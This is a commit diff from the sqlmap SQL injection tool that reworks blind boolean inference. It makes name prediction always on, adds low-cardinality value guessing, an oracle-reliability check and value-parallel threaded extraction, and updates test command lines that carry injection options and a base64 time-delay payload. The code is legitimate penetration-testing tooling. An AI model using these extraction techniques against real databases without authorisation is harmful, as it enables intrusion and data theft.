mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-07-07 09:03:07 +00:00
General boolean inference improvements
This commit is contained in:
Miroslav Štampar
parent
6597415ab0
commit
50ff3debe5
13 changed files with 14506 additions and 1629 deletions
13792
data/txt/catalog-identifiers.txt
Normal file
13792
data/txt/catalog-identifiers.txt
Normal file
File diff suppressed because it is too large
Load diff
File diff suppressed because it is too large
Load diff
|
|
@ -23,9 +23,9 @@ a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33 data/shell/sta
|
|||
c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/stagers/stager.cfm_
|
||||
8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347 data/shell/stagers/stager.jsp_
|
||||
af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_
|
||||
aa4d6396df0abde7560ced7d8f7625dd70d57401db86d205f80064609c4b2772 data/txt/catalog-identifiers.txt
|
||||
eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt
|
||||
63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt
|
||||
4d6a32155dd6b570e5cdae8036efd69d8f8ebab79cb82a4d094c15f35af8b13d data/txt/common-outputs.txt
|
||||
44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt
|
||||
ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt
|
||||
522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt
|
||||
|
|
@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller
|
|||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
|
||||
48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py
|
||||
c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py
|
||||
19989ca19194bf3f7a42a929b153e45c9a2177e01ab6ab63a5372daa5989c0e8 lib/core/common.py
|
||||
2b0e014869b071a2b6aa4e0c9a23427abdc61a92f09adbcce123fd0fc7ec3aa6 lib/core/common.py
|
||||
8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py
|
||||
5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py
|
||||
c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py
|
||||
|
|
@ -181,26 +181,26 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
|
|||
5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py
|
||||
914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py
|
||||
23852bdfadfb4bd5663302a63bdcc7227c0314fbdea884167d58ca21cda9fb09 lib/core/optiondict.py
|
||||
0caac9b4af2cc50321a4d8126d92481ad0b092af2075e7efa19bccef529986fb lib/core/option.py
|
||||
0ba8838a8a8774a8a6baaf75d8122c3fa0cb9a6e4f468a4a94f32eb894feb754 lib/core/optiondict.py
|
||||
7229352618491ee1d23bbbfd6e7f160b489ce4b1a8d99c1e873d9664382c3f8c lib/core/option.py
|
||||
21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py
|
||||
49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py
|
||||
0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py
|
||||
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
|
||||
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
|
||||
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
|
||||
df067f981efe10f6743eba13c48c9c1db158ff4e9d015831e5dbfa2ece80f7bf lib/core/settings.py
|
||||
b2ce6d9948284621cbfa73d81c97416a98e6cbf6f87e2c9dd0b493030ff85340 lib/core/settings.py
|
||||
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
|
||||
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
|
||||
69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py
|
||||
96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py
|
||||
e08683ba2558b734562a3490caf0bdde4ae8767b81b0d89fe6db346a13a452c1 lib/core/testing.py
|
||||
95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py
|
||||
b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py
|
||||
53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py
|
||||
2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py
|
||||
54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py
|
||||
c9d38a60a85691cdb540e33510dd16228d6afcce0fd2ba39780f71b6da57ebb5 lib/parse/cmdline.py
|
||||
ea85d5eccc6d6f6f9e4423ea97dc607ef2ca10b8264e7877c128b2252d1340e3 lib/parse/cmdline.py
|
||||
925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py
|
||||
c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py
|
||||
5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py
|
||||
|
|
@ -219,7 +219,7 @@ c968a04d3de9256d56c423d46556441223607e4573627f2af4e772e084aef5fc lib/request/dn
|
|||
7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py
|
||||
92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py
|
||||
7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py
|
||||
7ad7ac3c7126b3bad5898803a87769f199f6e8ecfb8abdca4fc4a29e63932595 lib/request/inject.py
|
||||
df97f7ccb437f9fda76b3d87cb5c11a01d09a0fa395c0d6bd555812cf92b70e6 lib/request/interactsh.py
|
||||
ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py
|
||||
ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py
|
||||
|
|
@ -236,7 +236,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r
|
|||
0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py
|
||||
23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py
|
||||
8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py
|
||||
a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques/blind/inference.py
|
||||
da4930b2499270172140ae1f12c4666d42b2f1c0c348fcb021d4dccedc91d0ac lib/techniques/blind/inference.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py
|
||||
3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py
|
||||
|
|
@ -499,8 +499,8 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v
|
|||
2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py
|
||||
51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py
|
||||
a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py
|
||||
6f77b5cae6781a746f8490fe3e85456e575165b38edd280a69c9327af8bee85f plugins/generic/databases.py
|
||||
13086bfae6022edc2bbd35512fa3bda3402c269e9d6148ffe386ba5b8b4ba461 plugins/generic/entries.py
|
||||
dc52b79735a2e349dbc599bc7bd3f57b58560aed977f8b053f745e93532d4e13 plugins/generic/databases.py
|
||||
93c4833046dce00a60cf6ca118e6637d4be23a67aa45714f91d23215d544b023 plugins/generic/entries.py
|
||||
d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py
|
||||
8d5e3eacbd2a3cfec63fcf5bdcc8efc77656f29b11ca652c4ee60c72daea04ab plugins/generic/filesystem.py
|
||||
efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py
|
||||
|
|
|
|||
|
|
@ -1582,10 +1582,10 @@ def setPaths(rootPath):
|
|||
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
|
||||
|
||||
# sqlmap files
|
||||
paths.CATALOG_IDENTIFIERS = os.path.join(paths.SQLMAP_TXT_PATH, "catalog-identifiers.txt")
|
||||
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
|
||||
paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt")
|
||||
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
|
||||
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
|
||||
paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt")
|
||||
paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
|
||||
paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt")
|
||||
|
|
@ -2605,42 +2605,23 @@ def calculateDeltaSeconds(start):
|
|||
|
||||
def initCommonOutputs():
|
||||
"""
|
||||
Initializes dictionary containing common output values used by "good samaritan" feature
|
||||
Initializes the per-context dictionary of common identifier names used by the
|
||||
predictive-inference feature to shortcut blind table/column name enumeration.
|
||||
Sourced directly from the curated '--common-tables'/'--common-columns' wordlists
|
||||
(real-world, app-focused names); prediction only ever reorders the charset or
|
||||
confirms a whole value, so it never penalizes a miss.
|
||||
|
||||
>>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"]
|
||||
>>> initCommonOutputs(); "users" in kb.commonOutputs["Tables"]
|
||||
True
|
||||
"""
|
||||
|
||||
kb.commonOutputs = {}
|
||||
key = None
|
||||
|
||||
with openFile(paths.COMMON_OUTPUTS, 'r') as f:
|
||||
for line in f:
|
||||
if line.find('#') != -1:
|
||||
line = line[:line.find('#')]
|
||||
|
||||
line = line.strip()
|
||||
|
||||
if len(line) > 1:
|
||||
if line.startswith('[') and line.endswith(']'):
|
||||
key = line[1:-1]
|
||||
elif key:
|
||||
if key not in kb.commonOutputs:
|
||||
kb.commonOutputs[key] = set()
|
||||
|
||||
if line not in kb.commonOutputs[key]:
|
||||
kb.commonOutputs[key].add(line)
|
||||
|
||||
# The curated '--common-tables'/'--common-columns' brute-force wordlists are far larger and much
|
||||
# more app-focused than the built-in [Tables]/[Columns] prediction sections (which are mostly
|
||||
# system objects), so fold them into the good-samaritan prediction to raise its real-world hit rate.
|
||||
# The mechanism only reorders the charset, so extra coverage never penalizes a miss.
|
||||
for _key, _path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)):
|
||||
for key, path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)):
|
||||
try:
|
||||
for _ in getFileItems(_path):
|
||||
kb.commonOutputs.setdefault(_key, set()).add(_)
|
||||
kb.commonOutputs[key] = set(getFileItems(path))
|
||||
except SqlmapSystemException:
|
||||
pass
|
||||
kb.commonOutputs[key] = set()
|
||||
|
||||
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
||||
"""
|
||||
|
|
@ -2684,19 +2665,17 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un
|
|||
|
||||
return retVal if not unique else list(retVal.keys())
|
||||
|
||||
def goGoodSamaritan(prevValue, originalCharset):
|
||||
def predictValue(prevValue, originalCharset):
|
||||
"""
|
||||
Function for retrieving parameters needed for common prediction (good
|
||||
samaritan) feature.
|
||||
Predictive-inference helper: given the value retrieved so far (prefix), consult the
|
||||
per-context common-identifier set (kb.commonOutputs[kb.partRun], from the common-
|
||||
tables/common-columns wordlists) to shortcut blind extraction.
|
||||
|
||||
prevValue: retrieved query output so far (e.g. 'i').
|
||||
|
||||
Returns commonValue if there is a complete single match (in kb.partRun
|
||||
of txt/common-outputs.txt under kb.partRun) regarding parameter
|
||||
prevValue. If there is no single value match, but multiple, commonCharset is
|
||||
returned containing more probable characters (retrieved from matched
|
||||
values in txt/common-outputs.txt) together with the rest of charset as
|
||||
otherCharset.
|
||||
Returns commonValue when a single wordlist entry matches the prefix (the whole value
|
||||
can be confirmed in one request); otherwise commonCharset holds the more probable
|
||||
next characters (reordered ahead of otherCharset) so the bisection converges faster.
|
||||
"""
|
||||
|
||||
if kb.commonOutputs is None:
|
||||
|
|
@ -2755,7 +2734,7 @@ def goGoodSamaritan(prevValue, originalCharset):
|
|||
def getPartRun(alias=True):
|
||||
"""
|
||||
Goes through call stack and finds constructs matching
|
||||
conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
|
||||
conf.dbmsHandler.*. Returns it or its predictive-inference context alias (e.g. 'Tables'/'Columns')
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
|
@ -3692,8 +3671,8 @@ def setOptimize():
|
|||
Sets options turned on by switch '-o'
|
||||
"""
|
||||
|
||||
# conf.predictOutput = True
|
||||
# Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers)
|
||||
# Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers); predictive
|
||||
# inference is now an inherent, always-on part of blind name enumeration (no longer a switch)
|
||||
conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
|
||||
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
||||
|
||||
|
|
|
|||
|
|
@ -2243,6 +2243,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||
kb.disableHuffman = False
|
||||
kb.huffmanProbes = 0
|
||||
kb.huffmanEscapes = 0
|
||||
kb.lowCardCache = {}
|
||||
kb.dumpCharset = {}
|
||||
kb.dumpCharsetStable = {}
|
||||
kb.litmusCounter = 0
|
||||
kb.reliabilityAlarm = False
|
||||
kb.httpErrorCodes = {}
|
||||
kb.inferenceMode = False
|
||||
kb.ignoreCasted = None
|
||||
|
|
@ -2256,7 +2261,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||
kb.lastParserStatus = None
|
||||
|
||||
kb.locks = AttribDict()
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"):
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"):
|
||||
kb.locks[_] = threading.Lock()
|
||||
|
||||
kb.matchRatio = None
|
||||
|
|
@ -2914,10 +2919,6 @@ def _basicOptionValidation():
|
|||
errMsg = "switch '--dump' is incompatible with switch '--dump-all'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.predictOutput and (conf.threads > 1 or conf.optimize):
|
||||
errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"):
|
||||
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
|
|
|||
|
|
@ -79,7 +79,6 @@ optDict = {
|
|||
|
||||
"Optimization": {
|
||||
"optimize": "boolean",
|
||||
"predictOutput": "boolean",
|
||||
"keepAlive": "boolean",
|
||||
"noKeepAlive": "boolean",
|
||||
"nullConnection": "boolean",
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.7.30"
|
||||
VERSION = "1.10.7.31"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
@ -560,11 +560,52 @@ for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), (
|
|||
for _char in _chars:
|
||||
HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight
|
||||
|
||||
# Bounds for feeding extracted values back into the "good samaritan" (--predict-output) common-output
|
||||
# pool for their enumeration context, so later same-context items that share structure (e.g.
|
||||
# wp_posts / wp_users / wp_options ...) are predicted faster. MAX_LENGTH keeps large data cells from
|
||||
# bloating/polluting the pool (identifiers are short); MAX_ITEMS bounds per-context growth so a huge
|
||||
# enumeration cannot make the per-character prediction scan costly. Misses always fall back to bisection.
|
||||
# Enumeration contexts (kb.partRun) for which predictive inference is active by default: the identifier
|
||||
# names retrieved here are drawn from a known, skewed distribution captured by the common-tables/
|
||||
# common-columns wordlists, so whole-value prediction / charset reordering pays off. Deliberately NOT
|
||||
# applied to arbitrary dumped data (unknown distribution) or one-shot values (banner, current-user).
|
||||
NAME_PREDICTION_CONTEXTS = ("Tables", "Columns")
|
||||
|
||||
# Order of the character-level Markov model used to seed the Huffman set-membership tree during blind
|
||||
# name enumeration: warmed from the shipped identifier corpus so it predicts a name from the first
|
||||
# character (identifiers are short, structured and low-entropy). CATALOG_IDENTIFIERS_PRIOR_PEAK is the
|
||||
# weight the corpus prior is scaled to (higher -> the predicted next character sits nearer the tree
|
||||
# root -> closer to one request per character). Data dumps keep the classic order-0 adaptive model.
|
||||
NAME_MARKOV_ORDER = 3
|
||||
CATALOG_IDENTIFIERS_PRIOR_PEAK = 20
|
||||
|
||||
# Maximum number of distinct values a dumped column may show before it is treated as high-cardinality
|
||||
# and whole-value guessing is abandoned for it. At or below this, each new cell is first confirmed by
|
||||
# equality against the values already seen for that column (one request on a hit) before per-character
|
||||
# extraction. Self-verifying, so it never returns a wrong value; the bound keeps misses cheap.
|
||||
LOW_CARDINALITY_THRESHOLD = 32
|
||||
|
||||
# Oracle-reliability litmus: during bulk blind extraction (dumps / name enumeration) a known-answer
|
||||
# differential is fired every this-many extracted values - one probe that MUST be TRUE (the value we just
|
||||
# read equals itself) and one that MUST be FALSE (it equals a deliberately corrupted copy). A healthy
|
||||
# oracle always answers T/F; an always-true channel (WAF/200-for-everything, reads-everything-true) or a
|
||||
# flaky/degraded one (timing jitter, lease near end-of-life) trips it - converting SILENT data corruption
|
||||
# into a one-time "results may be unreliable" warning. The first value is always checked (catch it before
|
||||
# a whole garbage dump), then every Nth. Cheap and amortized; set to 0 to disable.
|
||||
ORACLE_LITMUS_CHECK_EVERY = 25
|
||||
|
||||
# Whole-value guessing only starts once some value has repeated (proof the column is low-cardinality), so
|
||||
# an all-unique column - primary key, hash, free text - never wastes a probe. Once armed, at most this
|
||||
# many candidates (most-frequent first) are tried per cell, so even a column that trips the threshold with
|
||||
# many near-unique values can only ever waste a small, bounded number of probes before falling back.
|
||||
LOW_CARDINALITY_MAX_GUESSES = 8
|
||||
|
||||
# Number of consecutive dumped rows a column's observed character set must stay unchanged before it is
|
||||
# trusted as closed and used to restrict the time-based bisection alphabet. A column whose alphabet keeps
|
||||
# growing (e.g. a monotonic primary key or high-entropy text) never reaches this, so it is never charged
|
||||
# the speculative restricted-search-then-escalate cost.
|
||||
DUMP_CHARSET_STABLE_ROWS = 3
|
||||
|
||||
# Bounds for feeding extracted values back into the predictive-inference pool for their enumeration
|
||||
# context, so later same-context items that share structure (e.g. wp_posts / wp_users / wp_options ...)
|
||||
# are predicted faster. MAX_LENGTH keeps large data cells from bloating/polluting the pool (identifiers
|
||||
# are short); MAX_ITEMS bounds per-context growth so a huge enumeration cannot make the per-character
|
||||
# prediction scan costly. Only fed single-threaded (never mutated under value-parallel enumeration).
|
||||
PREDICTION_FEEDBACK_MAX_LENGTH = 128
|
||||
PREDICTION_FEEDBACK_MAX_ITEMS = 10000
|
||||
|
||||
|
|
|
|||
|
|
@ -78,7 +78,7 @@ def vulnTest(tests=None, label="vuln"):
|
|||
("-u <base> --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"<root><param name=\\\"id\\\" value=\\\"1*\\\"/></root>\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
||||
("-u <base> --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")),
|
||||
("-u <url> --flush-session -H \"id: 1*\" --tables -t <tmpfile>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
||||
("-u <url> --flush-session --banner --invalid-logical --technique=B --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
||||
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")),
|
||||
("-u <base> --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)),
|
||||
|
|
|
|||
|
|
@ -318,9 +318,6 @@ def cmdLineParser(argv=None):
|
|||
optimization.add_argument("-o", dest="optimize", action="store_true",
|
||||
help="Turn on all optimization switches")
|
||||
|
||||
optimization.add_argument("--predict-output", dest="predictOutput", action="store_true",
|
||||
help="Predict common queries output")
|
||||
|
||||
# Note: persistent (Keep-Alive) connections are used by default; this opts out
|
||||
optimization.add_argument("--no-keep-alive", dest="noKeepAlive", action="store_true",
|
||||
help="Disable persistent HTTP(s) connections (Keep-Alive)")
|
||||
|
|
|
|||
|
|
@ -13,6 +13,10 @@ import time
|
|||
from lib.core.agent import agent
|
||||
from lib.core.bigarray import BigArray
|
||||
from lib.core.common import applyFunctionRecursively
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.utils.safe2bin import safecharencode
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import cleanQuery
|
||||
|
|
@ -22,6 +26,7 @@ from lib.core.common import filterNone
|
|||
from lib.core.common import getPublicTypeMembers
|
||||
from lib.core.common import getTechnique
|
||||
from lib.core.common import getTechniqueData
|
||||
from lib.core.common import incrementCounter
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.common import initTechnique
|
||||
|
|
@ -58,10 +63,13 @@ from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
|
|||
from lib.core.settings import SQL_SCALAR_REGEX
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.threads import runThreads
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.request.direct import direct
|
||||
from lib.techniques.blind.inference import bisection
|
||||
from lib.techniques.blind.inference import queryOutputLength
|
||||
from lib.techniques.blind.inference import valueMatchCondition
|
||||
from lib.techniques.dns.test import dnsTest
|
||||
from lib.techniques.dns.use import dnsUse
|
||||
from lib.techniques.error.use import errorUse
|
||||
|
|
@ -358,6 +366,153 @@ def _goUnion(expression, unpack=True, dump=False):
|
|||
|
||||
return output
|
||||
|
||||
def _verifyInferredValue(expression, value):
|
||||
"""
|
||||
Confirm a value-parallel-inferred name with ONE equality boolean (lock-free forged
|
||||
query, mirroring the predictive commonValue check). A wrong bisection bit under heavy
|
||||
concurrent load on a flaky/WAF'd target flips a character; a full-value equality catches
|
||||
it sharply (a corrupted name != the real one). Returns True when (expression) == value
|
||||
holds, or on a transient verify error (never discard a value on a hiccup).
|
||||
"""
|
||||
|
||||
if value is None or isNoneValue(value):
|
||||
return True
|
||||
|
||||
value = unArrayizeValue(value)
|
||||
if not isinstance(value, six.string_types):
|
||||
return True
|
||||
|
||||
if Backend.getDbms():
|
||||
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
expressionUnescaped = unescaper.escape(expression.replace(fieldToCastStr, nulledCastedField, 1))
|
||||
else:
|
||||
expressionUnescaped = unescaper.escape(expression)
|
||||
|
||||
matchCondition = valueMatchCondition(expressionUnescaped, value)
|
||||
if matchCondition is None: # non-ASCII value: no reliable whole-value equality (see valueMatchCondition)
|
||||
return None # caller confirms these by an independent re-extraction instead
|
||||
|
||||
query = getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition)
|
||||
query = agent.suffixQuery(agent.prefixQuery(query))
|
||||
|
||||
timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
|
||||
|
||||
try:
|
||||
result = bool(Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False))
|
||||
incrementCounter(getTechnique())
|
||||
return result
|
||||
except Exception:
|
||||
return True
|
||||
|
||||
def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=None, dump=False):
|
||||
"""
|
||||
Value-parallel blind retrieval.
|
||||
|
||||
Retrieve many independent values concurrently, ONE whole value per worker thread, each decoded
|
||||
sequentially via bisection with length=None - so there is NO per-value length probe (unlike the
|
||||
position-parallel path, which must probe LENGTH() to split a value's characters across threads) and
|
||||
the sequential prefix lets predictive inference / low-cardinality guessing / the per-column Huffman
|
||||
model work. This parallelizes across VALUES instead of character positions - the right axis for the
|
||||
MANY short values of table/column NAME enumeration (context="Tables"/"Columns" tags kb.partRun so
|
||||
predictValue() consults the wordlist) and, with dump=True, of per-column data dumping (Huffman and
|
||||
low-cardinality guessing engage). It bypasses getValue()'s @lockedmethod the same way union/error
|
||||
row-threading calls _oneShotUnionUse directly. `exprBuilder(index)` yields the per-value expression.
|
||||
Returns a list aligned with `indices` (None where a value could not be retrieved); single-thread is
|
||||
just sequential retrieval (no worse than the classic loop, and still without the length probe).
|
||||
"""
|
||||
|
||||
indices = list(indices)
|
||||
|
||||
savedTechnique = getTechnique()
|
||||
|
||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
|
||||
setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN)
|
||||
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
|
||||
setTechnique(PAYLOAD.TECHNIQUE.TIME)
|
||||
else:
|
||||
return None
|
||||
|
||||
initTechnique(getTechnique())
|
||||
payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector)))
|
||||
|
||||
results = [None] * len(indices)
|
||||
cursor = iter(xrange(len(indices)))
|
